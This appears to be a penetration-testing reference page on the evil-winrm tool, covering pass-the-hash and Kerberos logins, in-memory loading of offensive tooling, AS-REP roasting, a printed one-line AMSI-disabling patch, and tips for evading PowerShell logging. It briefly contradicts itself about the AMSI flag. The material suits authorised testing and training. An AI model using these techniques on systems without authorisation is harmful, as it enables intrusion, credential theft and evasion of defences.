Skip to content
HackIndex logo

HackIndex

evil-winrm – Full WinRM Shell Usage Guide

6 min read Jul 10, 2026

evil-winrm is the primary tool for interactive WinRM sessions. It supports plaintext passwords, NT hashes, Kerberos tickets, and SSL certificates. Beyond a basic shell, it provides file upload/download, PowerShell module loading, AMSI bypass, and script execution built into the session — making it the most complete WinRM client for pentest use.

Basic Connection

With a password:

┌──(kali㉿kali)-[~]
└─$ evil-winrm -i $TARGET_IP -u $USER -p $PASSWORD
Explain command
-i $TARGET_IP Specifies the target IP address to connect to via WinRM.
-u $USER Specifies the username for authentication.
-p $PASSWORD Specifies the plaintext password for authentication.

With a domain account:

┌──(kali㉿kali)-[~]
└─$ evil-winrm -i $TARGET_IP -u $USER -p $PASSWORD -d $DOMAIN
Explain command
-i $TARGET_IP Specifies the target IP address or hostname to connect to.
-u $USER Specifies the username for authentication.
-p $PASSWORD Specifies the plaintext password for authentication.
-d $DOMAIN Specifies the Active Directory domain for authentication.

Over HTTPS (port 5986):

┌──(kali㉿kali)-[~]
└─$ evil-winrm -i $TARGET_IP -u $USER -p $PASSWORD -S
Explain command
-i $TARGET_IP Specifies the target IP address to connect to
-u $USER Specifies the username for authentication
-p $PASSWORD Specifies the password for authentication
-S Enables SSL/TLS for secure connection

-S enables SSL. Use -c and -k to supply a client certificate and private key for certificate-based authentication:

┌──(kali㉿kali)-[~]
└─$ evil-winrm -i $TARGET_IP -u $USER -S -c /path/to/cert.pem -k /path/to/key.pem
Explain command
-i $TARGET_IP Target IP address to connect to
-u $USER Username for authentication
-S Use SSL/TLS for secure connection
-c /path/to/cert.pem Path to SSL certificate file
-k /path/to/key.pem Path to SSL private key file

Pass-the-Hash

Supply the NT hash directly — no password needed:

┌──(kali㉿kali)-[~]
└─$ evil-winrm -i $TARGET_IP -u $USER -H $NTHASH
Explain command
-i $TARGET_IP Specifies the target IP address to connect to via WinRM.
-u $USER Specifies the username for authentication.
-H $NTHASH Authenticates using an NTLM hash instead of a plaintext password.

With a domain:

┌──(kali㉿kali)-[~]
└─$ evil-winrm -i $TARGET_IP -u $USER -H $NTHASH -d $DOMAIN
Explain command
-i $TARGET_IP Target host IP address to connect to via WinRM.
-u $USER Username to authenticate with.
-H $NTHASH NT hash for pass-the-hash authentication instead of plaintext password.
-d $DOMAIN Active Directory domain for authentication context.

Kerberos Authentication

Set KRB5CCNAME to your ccache file and connect using the hostname rather than the IP:

┌──(kali㉿kali)-[~]
└─$ export KRB5CCNAME=/path/to/ticket.ccache
┌──(kali㉿kali)-[~]
└─$ evil-winrm -i $TARGET_HOSTNAME -u $USER -r $DOMAIN
Explain command
KRB5CCNAME=/path/to/ticket.ccache Sets the Kerberos credentials cache file path for ticket-based auth.
-i $TARGET_HOSTNAME Specifies the target host IP or hostname to connect to.
-u $USER Specifies the username for authentication.
-r $DOMAIN Specifies the Kerberos realm (domain) for authentication.

-r specifies the Kerberos realm. Use the FQDN or hostname — Kerberos ticket validation is hostname-based and will fail against raw IPs. Add the hostname to /etc/hosts if needed:

┌──(kali㉿kali)-[~]
└─$ echo "$TARGET_IP $TARGET_HOSTNAME.$DOMAIN" >> /etc/hosts
Explain command
$TARGET_IP Variable placeholder for the target IP address
$TARGET_HOSTNAME.$DOMAIN Variable placeholder for hostname and domain concatenation
>> Append output to file instead of overwriting
/etc/hosts System file path for hostname-to-IP address mappings

File Upload and Download

Upload a file to the remote session:

*Evil-WinRM* PS C:\Users\Administrator\Documents> upload /path/to/local/file.exe C:\Windows\Temp\file.exe

Download a file from the remote session:

*Evil-WinRM* PS C:\Users\Administrator\Documents> download C:\Windows\Temp\output.txt /tmp/output.txt

Without a destination path, the file downloads to the current local directory.

Loading PowerShell Scripts into the Session

Point evil-winrm at a local directory containing .ps1 files. They load automatically and their functions become available in the remote shell:

*Evil-WinRM* PS C:\Users\Administrator\Documents> evil-winrm -i $TARGET_IP -u $USER -p $PASSWORD -s /opt/powershell-scripts/
Explain command
-i $TARGET_IP Specifies the target IP address to connect to via WinRM.
-u $USER Specifies the username for authentication.
-p $PASSWORD Specifies the plaintext password for authentication.
-s /opt/powershell-scripts/ Sets the local directory to load PowerShell scripts from.

Any .ps1 file in that directory can be imported in the session:

PS C:\Users\Guest\Desktop> Invoke-PowerShellScript.ps1

Or just call the function name directly if it is exported. This is the cleanest way to load tools like PowerView, PowerUp, and SharpHound without uploading files to disk.

Useful directories to pre-populate:

┌──(kali㉿kali)-[~]
└─$ /usr/share/powershell-empire/empire/server/data/module_source/
┌──(kali㉿kali)-[~]
└─$ /opt/PowerSploit/
┌──(kali㉿kali)-[~]
└─$ /opt/nishang/

Loading .NET Executables

evil-winrm can load and execute .NET assemblies directly in memory using the -e flag:

┌──(kali㉿kali)-[~]
└─$ evil-winrm -i $TARGET_IP -u $USER -p $PASSWORD -e /opt/executables/
Explain command
-i $TARGET_IP Specifies the target IP address to connect to via WinRM.
-u $USER Specifies the username for WinRM authentication.
-p $PASSWORD Specifies the password for WinRM authentication.
-e /opt/executables/ Sets local directory path for uploading and executing binaries.

Then invoke from the shell:

PS C:\Users\Guest\Desktop> Invoke-Binary /opt/executables/Rubeus.exe asreproast
Explain command
/opt/executables/Rubeus.exe Path to the Rubeus executable to be invoked.
asreproast Performs AS-REP roasting to harvest hashes for accounts without pre-auth.

This executes the binary in a reflective loader without writing it to disk.

AMSI Bypass

evil-winrm ships with a built-in AMSI bypass that patches the AMSI scan buffer in memory before executing scripts. Enable it with:

┌──(kali㉿kali)-[~]
└─$ evil-winrm -i $TARGET_IP -u $USER -p $PASSWORD -s /opt/powershell-scripts/ --no-amsi-bypass
Explain command
-i $TARGET_IP Target IP address to connect to
-u $USER Username for authentication
-p $PASSWORD Password for authentication
-s /opt/powershell-scripts/ Path to local PowerShell scripts directory
--no-amsi-bypass Disable automatic AMSI bypass technique

Actually, the bypass is on by default. Disable it only if causing issues:

┌──(kali㉿kali)-[~]
└─$ evil-winrm -i $TARGET_IP -u $USER -p $PASSWORD --no-amsi-bypass
Explain command
-i $TARGET_IP Specifies the target IP address to connect to via WinRM.
-u $USER Specifies the username for authentication.
-p $PASSWORD Specifies the password for authentication.
--no-amsi-bypass Disables the automatic AMSI bypass injection on connect.

If AMSI is blocking specific tools loaded via -s, patch AMSI manually in the session first:

PS C:\Users\Guest\Desktop> [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

Running Commands Non-Interactively

Execute a single command and exit without opening an interactive shell:

┌──(kali㉿kali)-[~]
└─$ evil-winrm -i $TARGET_IP -u $USER -p $PASSWORD -e /opt/executables/ -c "whoami /all"
Explain command
-i $TARGET_IP Target host IP address to connect to via WinRM.
-u $USER Username for WinRM authentication.
-p $PASSWORD Password for WinRM authentication.
-e /opt/executables/ Local directory path to upload and execute scripts/binaries from.
-c "whoami /all" Execute specified command on the remote host upon connection.

Or pipe commands in:

┌──(kali㉿kali)-[~]
└─$ echo "whoami" | evil-winrm -i $TARGET_IP -u $USER -p $PASSWORD
Explain command
-i $TARGET_IP Specifies the target IP address to connect to via WinRM.
-u $USER Specifies the username for WinRM authentication.
-p $PASSWORD Specifies the password for WinRM authentication.

Checking Current User and Privileges

Once inside:

*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami /all
*Evil-WinRM* PS C:\Users\Administrator\Documents> net user $USER /domain
*Evil-WinRM* PS C:\Users\Administrator\Documents> net localgroup Administrators
Explain command
/all Displays all information in the current access token, including privileges.
$USER Placeholder for the target username to query.
/domain Performs the operation against the domain controller.
Administrators Specifies the local group name to list members of.

Check if you are in a Constrained Language Mode session:

*Evil-WinRM* PS C:\Users\Administrator\Documents> $ExecutionContext.SessionState.LanguageMode

If the output is ConstrainedLanguage, see https://hackindex.io/services/winrm/privilege-escalation/constrained-language-bypass for bypass techniques.

If you land in a JEA endpoint instead of a full shell:

*Evil-WinRM* PS C:\Users\Administrator\Documents> Get-Command

A very short list of allowed commands confirms JEA. See https://hackindex.io/services/winrm/privilege-escalation/jea-escape for escape techniques.

Logging and Transcript Note

PowerShell remoting over WinRM logs to the Microsoft-Windows-PowerShell/Operational event log. Every command you run is recorded. Script block logging and module logging may also be active. If operational security matters, load tools in memory rather than writing to disk, and avoid running Invoke-Expression on string-concatenated commands which triggers additional logging.

References